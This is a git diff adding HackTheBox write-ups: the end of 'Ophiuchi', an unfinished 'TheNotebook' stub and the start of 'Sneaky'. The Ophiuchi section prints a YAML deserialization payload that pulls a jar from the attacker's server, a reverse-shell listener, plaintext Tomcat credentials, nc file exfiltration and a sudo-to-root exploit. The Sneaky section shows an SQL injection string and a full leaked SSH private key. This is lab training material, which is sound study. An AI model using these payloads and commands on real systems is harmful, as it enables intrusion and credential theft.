shell.sh file actually got downloaded, so now from here we make a second payload to execute that shell.sh file: + + + [ 10.10.14.8/23 ] [ /dev/pts/17 ] [HTB/Ophiuchi/yaml-payload] + → vim src/artsploit/AwesomeScriptEngineFactory.java + + [ 10.10.14.8/23 ] [ /dev/pts/17 ] [HTB/Ophiuchi/yaml-payload] + → cat src/artsploit/AwesomeScriptEngineFactory.java + package artsploit; + + import javax.script.ScriptEngine; + import javax.script.ScriptEngineFactory; + import java.io.IOException; + import java.util.List; + + public class AwesomeScriptEngineFactory implements ScriptEngineFactory { + + public AwesomeScriptEngineFactory() { + try { + Runtime.getRuntime().exec("bash /tmp/shell.sh"); + } catch (IOException e) { + e.printStackTrace(); + } + } + + [ 10.10.14.8/23 ] [ /dev/pts/17 ] [HTB/Ophiuchi/yaml-payload] + → javac src/artsploit/AwesomeScriptEngineFactory.java + Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true + + [ 10.10.14.8/23 ] [ /dev/pts/17 ] [HTB/Ophiuchi/yaml-payload] + → jar -cvf yaml-payload2.jar -C src/ . + Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true + added manifest + adding: artsploit/(in = 0) (out= 0)(stored 0%) + adding: artsploit/AwesomeScriptEngineFactory.class(in = 1605) (out= 666)(deflated 58%) + adding: artsploit/AwesomeScriptEngineFactory.java(in = 1478) (out= 388)(deflated 73%) + ignoring entry META-INF/ + adding: META-INF/services/(in = 0) (out= 0)(stored 0%) + adding: META-INF/services/javax.script.ScriptEngineFactory(in = 36) (out= 38)(deflated -5%) + + [ 10.10.14.8/23 ] [ /dev/pts/17 ] [HTB/Ophiuchi/yaml-payload] + → ls -l + total 20 + -rw-r--r-- 1 nothing nothing 623 Jul 5 15:55 README.md + -rw-r--r-- 1 nothing nothing 78 Jul 5 16:44 shell.sh + drwxr-xr-x 4 nothing nothing 4096 Jul 5 15:55 src + -rw-r--r-- 1 nothing nothing 2223 Jul 5 19:45 yaml-payload1.jar + -rw-r--r-- 1 nothing nothing 2170 Jul 5 19:57 yaml-payload2.jar + + + +Now we use the following payload on the yaml parser: + + + !!javax.script.ScriptEngineManager [ + !!java.net.URLClassLoader [[ + !!java.net.URL ["http://10.10.14.8:9090/yaml-payload2.jar"] + ]] + ] + + + +And we see the following result: + + + [terminal 1] + [ 10.10.14.8/23 ] [ /dev/pts/12 ] [HTB/Ophiuchi/yaml-payload] + → python3 -m http.server 9090 + Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ... + 10.10.10.227 - - [05/Jul/2021 20:00:00] "GET /yaml-payload2.jar HTTP/1.1" 200 - + 10.10.10.227 - - [05/Jul/2021 20:00:01] "GET /yaml-payload2.jar HTTP/1.1" 200 - + + [terminal 2] + [ 10.10.14.8/23 ] [ /dev/pts/14 ] [HTB/Ophiuchi/yaml-payload] + → nc -lvnp 9001 + listening on [any] 9001 ... + connect to [10.10.14.8] from (UNKNOWN) [10.10.10.227] 44856 + /bin/sh: 0: can't access tty; job control turned off + $ id + uid=1001(tomcat) gid=1001(tomcat) groups=1001(tomcat) + + + +Now that we got a reverse shell, upgrade it to a fully interactive TTY: + + + $ which python python3 wget curl bash + /usr/bin/python3 + /usr/bin/wget + /usr/bin/curl + /usr/bin/bash + $ python3 -c 'import pty;pty.spawn("/usr/bin/bash")' + tomcat@ophiuchi:/$ ^Z + [1] + 573820 suspended nc -lvnp 9001 + + [ 10.10.14.8/23 ] [ /dev/pts/14 ] [HTB/Ophiuchi/yaml-payload] + → stty raw -echo ; fg + [1] + 573820 continued nc -lvnp 9001 + export TERM=screen-256color + tomcat@ophiuchi:/$ export SHELL=bash + tomcat@ophiuchi:/$ stty rows 50 cols 200 + tomcat@ophiuchi:/$ reset + + + +Now since this is a tomcat service let's see if there are any plaintext credentials in the config files: + + + tomcat@ophiuchi:/$ cd ~ + + tomcat@ophiuchi:~$ ls + bin BUILDING.txt conf CONTRIBUTING.md lib LICENSE logs NOTICE README.md RELEASE-NOTES RUNNING.txt temp webapps work + + tomcat@ophiuchi:~$ cd conf + + tomcat@ophiuchi:~/conf$ ls + catalina.policy catalina.properties context.xml jaspic-providers.xml jaspic-providers.xsd logging.properties server.xml tomcat-users.xml tomcat-users.xsd web.xml + + tomcat@ophiuchi:~/conf$ cat tomcat-users.xml + + [...] + + tomcat-users xmlns="http://tomcat.apache.org/xml" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd" + version="1.0"> + user username="admin" password="whythereisalimit" roles="manager-gui,admin-gui"/> + + /tomcat-users> + + [...] + + + +And here we have credentials **admin:whythereisalimit**! So let's + + + [ 10.10.14.8/23 ] [ /dev/pts/17 ] [HTB/Ophiuchi/yaml-payload] + → ssh admin@10.10.10.227 + The authenticity of host '10.10.10.227 (10.10.10.227)' can't be established. + ECDSA key fingerprint is SHA256:OmZ+JsRqDVNaBWMshp7wogZM0KhSKkp1YmaILhRxSY0. + Are you sure you want to continue connecting (yes/no/[fingerprint])? yes + Warning: Permanently added '10.10.10.227' (ECDSA) to the list of known hosts. + admin@10.10.10.227's password: + Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-51-generic x86_64) + + * Documentation: https://help.ubuntu.com + * Management: https://landscape.canonical.com + * Support: https://ubuntu.com/advantage + + System information as of Mon 05 Jul 2021 06:20:18 PM UTC + + System load: 0.08 + Usage of /: 19.9% of 27.43GB + Memory usage: 10% + Swap usage: 0% + Processes: 222 + Users logged in: 0 + IPv4 address for ens160: 10.10.10.227 + IPv6 address for ens160: dead:beef::250:56ff:feb9:83 + + + 176 updates can be installed immediately. + 56 of these updates are security updates. + To see these additional updates run: apt list --upgradable + + + The list of available updates is more than a week old. + To check for new updates run: sudo apt update + + Last login: Mon Jan 11 08:23:12 2021 from 10.10.14.2 + admin@ophiuchi:~$ id + uid=1000(admin) gid=1000(admin) groups=1000(admin) + admin@ophiuchi:~$ cat user.txt + ebXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +And we got the user flag! + +## **Part 3 : Getting Root Access** + +Now in order to privesc to the root user, we need to take a look at what the current user can run as root: + + + admin@ophiuchi:~$ sudo -l + Matching Defaults entries for admin on ophiuchi: + env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin + + User admin may run the following commands on ophiuchi: + (ALL) NOPASSWD: /usr/bin/go run /opt/wasm-functions/index.go + + admin@ophiuchi:~$ ls -lash /opt/wasm-functions/index + 2.5M -rwxr-xr-x 1 root root 2.5M Oct 14 2020 /opt/wasm-functions/index + + admin@ophiuchi:~$ ls -lash /opt/wasm-functions/index.go + 4.0K -rw-rw-r-- 1 root root 522 Oct 14 2020 /opt/wasm-functions/index.go + + + +So here we can run a go file called **index.go** in the **/opt/wasm-functions/** directory as the root user. let's take a look at what it does: + + + admin@ophiuchi:~$ cat /opt/wasm-functions/index.go + package main + + import ( + "fmt" + wasm "github.com/wasmerio/wasmer-go/wasmer" + "os/exec" + "log" + ) + + + func main() { + bytes, _ := wasm.ReadBytes("main.wasm") + + instance, _ := wasm.NewInstance(bytes) + defer instance.Close() + init := instance.Exports["info"] + result,_ := init() + f := result.String() + if (f != "1") { + fmt.Println("Not ready to deploy") + } else { + fmt.Println("Ready to deploy") + out, err := exec.Command("/bin/sh", "deploy.sh").Output() + if err != nil { + log.Fatal(err) + } + fmt.Println(string(out)) + } + } + + + +When we run it we get the following: + + + + admin@ophiuchi:/tmp$ /usr/bin/go run /opt/wasm-functions/index.go + /opt/wasm-functions/index.go:5:2: cannot find package "github.com/wasmerio/wasmer-go/wasmer" in any of: + /usr/lib/go-1.13/src/github.com/wasmerio/wasmer-go/wasmer (from $GOROOT) + /home/admin/go/src/github.com/wasmerio/wasmer-go/wasmer (from $GOPATH) + + admin@ophiuchi:/tmp$ sudo /usr/bin/go run /opt/wasm-functions/index.go + panic: runtime error: index out of range [0] with length 0 + + goroutine 1 [running]: + github.com/wasmerio/wasmer-go/wasmer.NewInstanceWithImports.func1(0x0, 0x0, 0xc000040c90, 0x5d1200, 0x200000003) + /root/go/src/github.com/wasmerio/wasmer-go/wasmer/instance.go:94 +0x201 + github.com/wasmerio/wasmer-go/wasmer.newInstanceWithImports(0xc000086020, 0xc000040d48, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0xc000040d70) + /root/go/src/github.com/wasmerio/wasmer-go/wasmer/instance.go:137 +0x1d3 + github.com/wasmerio/wasmer-go/wasmer.NewInstanceWithImports(0x0, 0x0, 0x0, 0xc000086020, 0x0, 0x0, 0x0, 0x0, 0x0, 0x4e6180, ...) + /root/go/src/github.com/wasmerio/wasmer-go/wasmer/instance.go:87 +0xa6 + github.com/wasmerio/wasmer-go/wasmer.NewInstance(0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x4e6180, 0x1) + /root/go/src/github.com/wasmerio/wasmer-go/wasmer/instance.go:82 +0xc9 + main.main() + /opt/wasm-functions/index.go:14 +0x6d + exit status 2 + + admin@ophiuchi:/tmp$ cd /opt/wasm-functions/ + admin@ophiuchi:/opt/wasm-functions$ sudo /usr/bin/go run /opt/wasm-functions/index.go + Not ready to deploy + + admin@ophiuchi:/opt/wasm-functions$ cd backup/ + admin@ophiuchi:/opt/wasm-functions/backup$ sudo /usr/bin/go run /opt/wasm-functions/index.go + Not ready to deploy + + + +So basically, when we look back at the index.go file, we see that it reads the **main.wasm** file in the current directory, and then it checks if the **f** variable is not equal to **1** to say 'not ready to deploy' However if that f variable were actually equal to 1, it would execute the **deploy.sh** file in the current directory. So we basically we need to modify that main.wasm file to set that f variable to 1, and then we're going to use our shell.sh file and rename it deploy.sh to get a reverse shell. So let's first get the main.wasm to our local machine using netcat: + + + [terminal 1] + admin@ophiuchi:/opt/wasm-functions$ ls -lash main.wasm + 1.5M -rwxrwxr-x 1 root root 1.5M Oct 14 2020 main.wasm + admin@ophiuchi:/opt/wasm-functions$ cat main.wasm | nc 10.10.14.8 9001 + admin@ophiuchi:/opt/wasm-functions$ md5sum main.wasm + 25a1a35c819577d06c8cc751bf9a2ea3 main.wasm + + [terminal 2] + [ 10.10.14.8/23 ] [ /dev/pts/12 ] [HTB/Ophiuchi/privesc] + → nc -lvnp 9001 > main.wasm + listening on [any] 9001 ... + connect to [10.10.14.8] from (UNKNOWN) [10.10.10.227] 46088 + ^C + + [ 10.10.14.8/23 ] [ /dev/pts/12 ] [HTB/Ophiuchi/privesc] + → md5sum main.wasm + 25a1a35c819577d06c8cc751bf9a2ea3 main.wasm + + + +Now that we downloaded the file locally we need to 'decrypt it', because as you probably guessed it, this is a binary/compiled file: + + + [ 10.10.14.8/23 ] [ /dev/pts/12 ] [HTB/Ophiuchi/privesc] + → cat main.wasm | xxd | head -n20 + 00000000: 0061 736d 0100 0000 0105 0160 0001 7f03 .asm.......`.... + 00000010: 0201 0004 0501 7001 0101 0503 0100 1006 ......p......... + 00000020: 1903 7f01 4180 80c0 000b 7f00 4180 80c0 ....A.......A... + 00000030: 000b 7f00 4180 80c0 000b 072c 0406 6d65 ....A......,..me + 00000040: 6d6f 7279 0200 0469 6e66 6f00 000a 5f5f mory...info...__ + 00000050: 6461 7461 5f65 6e64 0301 0b5f 5f68 6561 data_end...__hea + 00000060: 705f 6261 7365 0302 0a06 0104 0041 000b p_base.......A.. + 00000070: 00d5 d016 0b2e 6465 6275 675f 696e 666f ......debug_info + 00000080: f3a0 0200 0400 0000 0000 0401 0000 0000 ................ + 00000090: 1c00 3900 0000 0000 0000 5000 0000 0000 ..9.......P..... + 000000a0: 0000 400a 0100 0281 0000 0002 8600 0000 ..@............. + 000000b0: 028a 0000 0003 0000 0000 0d00 0000 07ed ................ + 000000c0: 0300 0000 009f 463e 0300 8c3e 0300 016d ......F>...>...m + 000000d0: 0300 0000 000c 0000 0007 ed03 0000 0000 ................ + 000000e0: 9fcc 3e03 0012 3f03 0001 6d03 0000 0000 ..>...?...m..... + 000000f0: 0d00 0000 07ed 0300 0000 009f 313f 0300 ............1?.. + 00000100: 773f 0300 016d 0300 0000 000d 0000 0007 w?...m.......... + 00000110: ed03 0000 0000 9f85 3f03 00cb 3f03 0001 ........?...?... + 00000120: 6d04 3522 0300 7122 0300 01a3 0104 7a22 m.5"..q"......z" + 00000130: 0300 c122 0300 01c3 0105 d422 0300 c122 ..."......."..." + + + +To decrypt it we're going to use [wabt](https://github.com/WebAssembly/wabt/releases): + + + [ 10.10.14.8/23 ] [ /dev/pts/12 ] [HTB/Ophiuchi/privesc] + → mv ~/Downloads/wabt-1.0.23-ubuntu.tar.gz . + + [ 10.10.14.8/23 ] [ /dev/pts/12 ] [HTB/Ophiuchi/privesc] + → tar -xzvf wabt-1.0.23-ubuntu.tar.gz + wabt-1.0.23/ + wabt-1.0.23/include/ + wabt-1.0.23/include/wasm-rt.h + wabt-1.0.23/include/wasm-rt-impl.h + wabt-1.0.23/share/ + wabt-1.0.23/share/man/ + wabt-1.0.23/share/man/man1/ + wabt-1.0.23/share/man/man1/wasm-decompile.1 + wabt-1.0.23/share/man/man1/wasm-validate.1 + wabt-1.0.23/share/man/man1/wasm-strip.1 + wabt-1.0.23/share/man/man1/wasm2wat.1 + wabt-1.0.23/share/man/man1/spectest-interp.1 + wabt-1.0.23/share/man/man1/wasm-interp.1 + wabt-1.0.23/share/man/man1/wat2wasm.1 + wabt-1.0.23/share/man/man1/wat-desugar.1 + wabt-1.0.23/share/man/man1/wasm2c.1 + wabt-1.0.23/share/man/man1/wasm-objdump.1 + wabt-1.0.23/share/man/man1/wast2json.1 + wabt-1.0.23/share/man/man1/wasm-opcodecnt.1 + wabt-1.0.23/lib/ + wabt-1.0.23/lib/libwasm-rt-impl.a + wabt-1.0.23/bin/ + wabt-1.0.23/bin/wasm2wat + wabt-1.0.23/bin/wat-desugar + wabt-1.0.23/bin/wasm-strip + wabt-1.0.23/bin/wasm-validate + wabt-1.0.23/bin/spectest-interp + wabt-1.0.23/bin/wast2json + wabt-1.0.23/bin/wasm2c + wabt-1.0.23/bin/wasm-decompile + wabt-1.0.23/bin/wasm-objdump + wabt-1.0.23/bin/wat2wasm + wabt-1.0.23/bin/wasm-interp + wabt-1.0.23/bin/wasm-opcodecnt + + [ 10.10.14.8/23 ] [ /dev/pts/12 ] [HTB/Ophiuchi/privesc] + → cd wabt-1.0.23/bin + + [ 10.10.14.8/23 ] [ /dev/pts/12 ] [privesc/wabt-1.0.23/bin] + → ls + spectest-interp wasm2c wasm2wat wasm-decompile wasm-interp wasm-objdump wasm-opcodecnt wasm-strip wasm-validate wast2json wat2wasm wat-desugar + + [ 10.10.14.8/23 ] [ /dev/pts/12 ] [privesc/wabt-1.0.23/bin] + → ls -l | grep wasm | grep wat + -rwxr-xr-x 1 nothing nothing 1309784 Mar 24 22:26 wasm2wat + -rwxr-xr-x 1 nothing nothing 1541016 Mar 24 22:26 wat2wasm + + + +so here the binary files we're going to use are **wasm2wat** and **wat2wasm** : + + + [ 10.10.14.8/23 ] [ /dev/pts/12 ] [privesc/wabt-1.0.23/bin] + → ./wasm2wat ../../main.wasm + (module + (type (;0;) (func (result i32))) + (func $info (type 0) (result i32) + i32.const 0) + (table (;0;) 1 1 funcref) + (memory (;0;) 16) + (global (;0;) (mut i32) (i32.const 1048576)) + (global (;1;) i32 (i32.const 1048576)) + (global (;2;) i32 (i32.const 1048576)) + (export "memory" (memory 0)) + (export "info" (func $info)) + (export "__data_end" (global 1)) + (export "__heap_base" (global 2))) + + + +Luckily for us there is only one **const** value which is currently set to 0 so this is very probable that this is the **f** variable we need to change to 1: + + + [ 10.10.14.8/23 ] [ /dev/pts/12 ] [privesc/wabt-1.0.23/bin] + → ./wasm2wat ../../main.wasm > main.wat + + [ 10.10.14.8/23 ] [ /dev/pts/12 ] [privesc/wabt-1.0.23/bin] + → vim main.wat + + [ 10.10.14.8/23 ] [ /dev/pts/12 ] [privesc/wabt-1.0.23/bin] + → cat main.wat + (module + (type (;0;) (func (result i32))) + (func $info (type 0) (result i32) + i32.const 1) + (table (;0;) 1 1 funcref) + (memory (;0;) 16) + (global (;0;) (mut i32) (i32.const 1048576)) + (global (;1;) i32 (i32.const 1048576)) + (global (;2;) i32 (i32.const 1048576)) + (export "memory" (memory 0)) + (export "info" (func $info)) + (export "__data_end" (global 1)) + (export "__heap_base" (global 2))) + + [ 10.10.14.8/23 ] [ /dev/pts/12 ] [privesc/wabt-1.0.23/bin] + → ./wat2wasm main.wat + + [ 10.10.14.8/23 ] [ /dev/pts/12 ] [privesc/wabt-1.0.23/bin] + → ls -lash | grep main + 4.0K -rw-r--r-- 1 nothing nothing 112 Jul 5 21:46 main.wasm + 4.0K -rw-r--r-- 1 nothing nothing 407 Jul 5 21:45 main.wat + + + +Now that we have our modified .wasm file, we're going to use it on the box inside a temporary directory: + + + [terminal 1] + [ 10.10.14.8/23 ] [ /dev/pts/12 ] [privesc/wabt-1.0.23/bin] + → mkdir files + + [ 10.10.14.8/23 ] [ /dev/pts/12 ] [privesc/wabt-1.0.23/bin] + → mv main.wasm files + + [ 10.10.14.8/23 ] [ /dev/pts/12 ] [privesc/wabt-1.0.23/bin] + → mv shell.sh files + + [ 10.10.14.8/23 ] [ /dev/pts/12 ] [privesc/wabt-1.0.23/bin] + → cd files + + [ 10.10.14.8/23 ] [ /dev/pts/12 ] [wabt-1.0.23/bin/files] + → ls -l + total 8 + -rw-r--r-- 1 nothing nothing 112 Jul 5 21:46 main.wasm + -rw-r--r-- 1 nothing nothing 78 Jul 5 21:50 shell.sh + + [ 10.10.14.8/23 ] [ /dev/pts/12 ] [wabt-1.0.23/bin/files] + → python3 -m http.server 9090 + Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ... + + [terminal 2] + admin@ophiuchi:/tmp/nihilist$ curl http://10.10.14.8:9090/shell.sh -o shell.sh + % Total % Received % Xferd Average Speed Time Time Time Current + Dload Upload Total Spent Left Speed + 100 78 100 78 0 0 80 0 --:--:-- --:--:-- --:--:-- 80 + admin@ophiuchi:/tmp/nihilist$ curl http://10.10.14.8:9090/main.wasm -o main.wasm + % Total % Received % Xferd Average Speed Time Time Time Current + Dload Upload Total Spent Left Speed + 100 112 100 112 0 0 116 0 --:--:-- --:--:-- --:--:-- 116 + + + +Now that's done let's use our new main.wasm: + + + [terminal 2] + admin@ophiuchi:/tmp/nihilist$ chmod +x shell.sh + admin@ophiuchi:/tmp/nihilist$ mv shell.sh deploy.sh + admin@ophiuchi:/tmp/nihilist$ sudo /usr/bin/go run /opt/wasm-functions/index.go + Ready to deploy + + [terminal 1] + [ 10.10.14.8/23 ] [ /dev/pts/17 ] [wabt-1.0.23/bin/files] + → nc -lvnp 9001 + listening on [any] 9001 ... + connect to [10.10.14.8] from (UNKNOWN) [10.10.10.227] 46094 + # id + uid=0(root) gid=0(root) groups=0(root) + cacat /root/root.txt + e8XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +And that's it! We managed to a reverse shell as root, and we got the root flag. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/67_graph.png) + diff --git a/Medium/68.md b/Medium/68.md new file mode 100644 index 0000000..83b34f1 --- /dev/null +++ b/Medium/68.md @@ -0,0 +1,206 @@ +# TheNotebook Writeup + +![](img/68.png) + +## Introduction : + +TheNotebook is a medium Linux box released back in March 2021. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + [ 10.10.14.34/23 ] [ /dev/pts/12 ] [~/HTB/TheNotebook] + → nmap -vvv -p- 10.129.188.119 --max-retries 0 -Pn --min-rate=500 2>/dev/null | grep Discovered + Discovered open port 80/tcp on 10.129.188.119 + Discovered open port 22/tcp on 10.129.188.119 + + [ 10.10.14.34/23 ] [ /dev/pts/12 ] [~/HTB/TheNotebook] + → nmap -sCV -p 80,22 10.129.188.119 + Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-14 10:05 CEST + Nmap scan report for 10.129.188.119 + Host is up (0.027s latency). + + PORT STATE SERVICE VERSION + 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) + | ssh-hostkey: + | 2048 86:df:10:fd:27:a3:fb:d8:36:a7:ed:90:95:33:f5:bf (RSA) + | 256 e7:81:d6:6c:df:ce:b7:30:03:91:5c:b5:13:42:06:44 (ECDSA) + |_ 256 c6:06:34:c7:fc:00:c4:62:06:c2:36:0e:ee:5e:bf:6b (ED25519) + 80/tcp open http nginx 1.14.0 (Ubuntu) + |_http-server-header: nginx/1.14.0 (Ubuntu) + |_http-title: The Notebook - Your Note Keeper + Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 7.85 seconds + + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up port 80 so let's investigate it: + +![](prg/68_001.png) + +We can register an account and login: + +![](prg/68_002.png) + +Once that's done we can create a test note: + +![](prg/68_003.png) ![](prg/68_004.png) ![](prg/68_005.png) ![](prg/68_006.png) ![](prg/68_007.png) + +So here we're able to create notes and view them, but that's not really useful for us. The trick was to take a look into the cookie storage tab in F12, where we would see our auth token: + +![](prg/68_008.png) + +We can inspect it using [jwt.io](https://jwt.io/) + +![](prg/68_009.png) + +Here we see that there is a Key ID field, pointing to the box's local address on port 7070: + + + [ 10.10.14.34/23 ] [ /dev/pts/12 ] [~/HTB/TheNotebook] + → nmap -sCV -p 7070 10.129.188.119 + Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-14 10:20 CEST + Nmap scan report for 10.129.188.119 + Host is up (0.026s latency). + + PORT STATE SERVICE VERSION + 7070/tcp closed realserver + + + +It's not available to us, which probably means that it only accepts packets coming from localhost, so we might need to port forward it once we get access to the box later on. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +## **Part 3 : Getting Root Access** + +the text goes here + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +## **Conclusion** + +Here we can see the progress graph : + diff --git a/Medium/7.md b/Medium/7.md new file mode 100644 index 0000000..a5a8332 --- /dev/null +++ b/Medium/7.md @@ -0,0 +1,505 @@ +# Sneaky Writeup + +![](img/7.png) + +## Introduction : + +Sneaky is a medium linux box released back in May 2017. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Lazy] + → nmap -F 10.10.10.20 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-22 13:59 GMT + Nmap scan report for 10.10.10.20 + Host is up (0.10s latency). + Not shown: 99 closed ports + PORT STATE SERVICE + 80/tcp open http + + Nmap done: 1 IP address (1 host up) scanned in 1.62 seconds + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Lazy] + → nmap -sCV -p80 10.10.10.20 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-22 14:00 GMT + Nmap scan report for 10.10.10.20 + Host is up (0.094s latency). + + PORT STATE SERVICE VERSION + 80/tcp open http Apache httpd 2.4.7 ((Ubuntu)) + |_http-server-header: Apache/2.4.7 (Ubuntu) + |_http-title: Under Development! + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 9.78 seconds + + + +## **Part 2 : Getting User Access** + +Our nmap picked up port 80 running Apache : + + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Lazy] + → dirsearch -u http://10.10.10.20/ -e php,html,txt -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt + git clone https://github.com/maurosoria/dirsearch.git + + _|. _ _ _ _ _ _|_ v0.3.9 + (_||| _) (/_(_|| (_| ) + + Extensions: php, html, txt | HTTP method: get | Threads: 10 | Wordlist size: 220521 + + Error Log: /home/nihilist/Desktop/Tools/dirsearch/logs/errors-20-02-22_14-13-22.log + + Target: http://10.10.10.20/ + + [14:13:22] Starting: + [14:13:23] 200 - 183B - / + [14:13:32] 301 - 307B - /dev -> http://10.10.10.20/dev/ + + +` ![](prg/7_001.png) + + + ' or 1=1 # + + +` ![](prg/7_002.png) + +trying out this sql injection on the admin user, we get access to /dev/login.php with 2 usernames : admin and thrasivoulos + +checking out the "My Key" hyperlink we get access to a private SSH key : + + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Sneaky] + → curl -sk http://10.10.10.20/dev/sshkeyforadministratordifficulttimes + -----BEGIN RSA PRIVATE KEY----- + MIIEowIBAAKCAQEAvQxBD5yRBGemrZI9F0O13j15wy9Ou8Z5Um2bC0lMdV9ckyU5 + Lc4V+rY81lS4cWUx/EsnPrUyECJTtVXG1vayffJISugpon49LLqABZbyQzc4GgBr + 3mi0MyfiGRh/Xr4L0+SwYdylkuX72E7rLkkigSt4s/zXp5dJmL2RBZDJf1Qh6Ugb + yDxG2ER49/wbdet8BKZ9EG7krGHgta4mfqrBbZiSBG1ST61VFC+G6v6GJQjC02cn + cb+zfPcTvcP0t63kdEreQbdASYK6/e7Iih/5eBy3i8YoNJd6Wr8/qVtmB+FuxcFj + oOqS9z0+G2keBfFlQzHttLr3mh70tgSA0fMKMwIDAQABAoIBAA23XOUYFAGAz7wa + Nyp/9CsaxMHfpdPD87uCTlSETfLaJ2pZsgtbv4aAQGvAm91GXVkTztYi6W34P6CR + h6rDHXI76PjeXV73z9J1+aHuMMelswFX9Huflyt7AlGV0G/8U/lcx1tiWfUNkLdC + CphCICnFEK3mc3Mqa+GUJ3iC58vAHAVUPIX/cUcblPDdOmxvazpnP4PW1rEpW8cT + OtsoA6quuPRn9O4vxDlaCdMYXfycNg6Uso0stD55tVTHcOz5MXIHh2rRKpl4817a + I0wXr9nY7hr+ZzrN0xy5beZRqEIdaDnQG6qBJFeAOi2d7RSnSU6qH08wOPQnsmcB + JkQxeUkCgYEA3RBR/0MJErfUb0+vJgBCwhfjd0x094mfmovecplIUoiP9Aqh77iz + 5Kn4ABSCsfmiYf6kN8hhOzPAieARf5wbYhdjC0cxph7nI8P3Y6P9SrY3iFzQcpHY + ChzLrzkvV4wO+THz+QVLgmX3Yp1lmBYOSFwIirt/MmoSaASbqpwhPSUCgYEA2uym + +jZ9l84gdmLk7Z4LznJcvA54GBk6ESnPmUd8BArcYbla5jdSCNL4vfX3+ZaUsmgu + 7Z9lLVVv1SjCdpfFM79SqyxzwmclXuwknC2iHtHKDW5aiUMTG3io23K58VDS0VwC + GR4wYcZF0iH/t4tn02qqOPaRGJAB3BD/B8bRxncCgYBI7hpvITl8EGOoOVyqJ8ne + aK0lbXblN2UNQnmnywP+HomHVH6qLIBEvwJPXHTlrFqzA6Q/tv7E3kT195MuS10J + VnfZf6pUiLtupDcYi0CEBmt5tE0cjxr78xYLf80rj8xcz+sSS3nm0ib0RMMAkr4x + hxNWWZcUFcRuxp5ogcvBdQKBgQDB/AYtGhGJbO1Y2WJOpseBY9aGEDAb8maAhNLd + 1/iswE7tDMfdzFEVXpNoB0Z2UxZpS2WhyqZlWBoi/93oJa1on/QJlvbv4GO9y3LZ + LJpFwtDNu+XfUJ7irbS51tuqV1qmhmeZiCWIzZ5ahyPGqHEUZaR1mw2QfTIYpLrG + UkbZGwKBgGMjAQBfLX0tpRCPyDNaLebFEmw4yIhB78ElGv6U1oY5qRE04kjHm1k/ + Hu+up36u92YlaT7Yk+fsk/k+IvCPum99pF3QR5SGIkZGIxczy7luxyxqDy3UfG31 + rOgybvKIVYntsE6raXfnYsEcvfbaE0BsREpcOGYpsE+i7xCRqdLb + -----END RSA PRIVATE KEY----- + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Sneaky] + → curl -sk http://10.10.10.20/dev/sshkeyforadministratordifficulttimes > pkey && chmod 600 pkey + + +Once we saved it, we try to log in as either of the 2 users via ssh. Sadly this key is for another user. so let's enumerate the box further : + + + λ root [ 10.10.14.20/23 ] [nihilist/_HTB/Sneaky] + → nmap -sU -F --max-retries 0 10.10.10.20 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-23 07:59 GMT + Warning: 10.10.10.20 giving up on port because retransmission cap hit (0). + Nmap scan report for 10.10.10.20 + Host is up (0.099s latency). + Not shown: 92 open|filtered ports + PORT STATE SERVICE + 161/udp open snmp + 427/udp closed svrloc + 999/udp closed applix + 1022/udp closed exp2 + 1027/udp closed unknown + 1433/udp closed ms-sql-s + 49191/udp closed unknown + 49200/udp closed unknown + + Nmap done: 1 IP address (1 host up) scanned in 1.58 seconds + + +Looks like we have a snmp port opened ! Now after running the command **snmpwalk -v2c -c public 10.10.10.20** we get an interesting result in the ipv6 format : + + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Sneaky] + → snmpwalk -v2c -c public 10.10.10.20 1.3.6.1.2.1.4.34.1.3 + iso.3.6.1.2.1.4.34.1.3.1.4.10.10.10.20 = INTEGER: 2 + iso.3.6.1.2.1.4.34.1.3.1.4.10.10.10.255 = INTEGER: 2 + iso.3.6.1.2.1.4.34.1.3.1.4.127.0.0.1 = INTEGER: 1 + iso.3.6.1.2.1.4.34.1.3.2.16.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.1 = INTEGER: 1 + iso.3.6.1.2.1.4.34.1.3.2.16.222.173.190.239.0.0.0.0.2.80.86.255.254.185.156.200 = INTEGER: 2 + 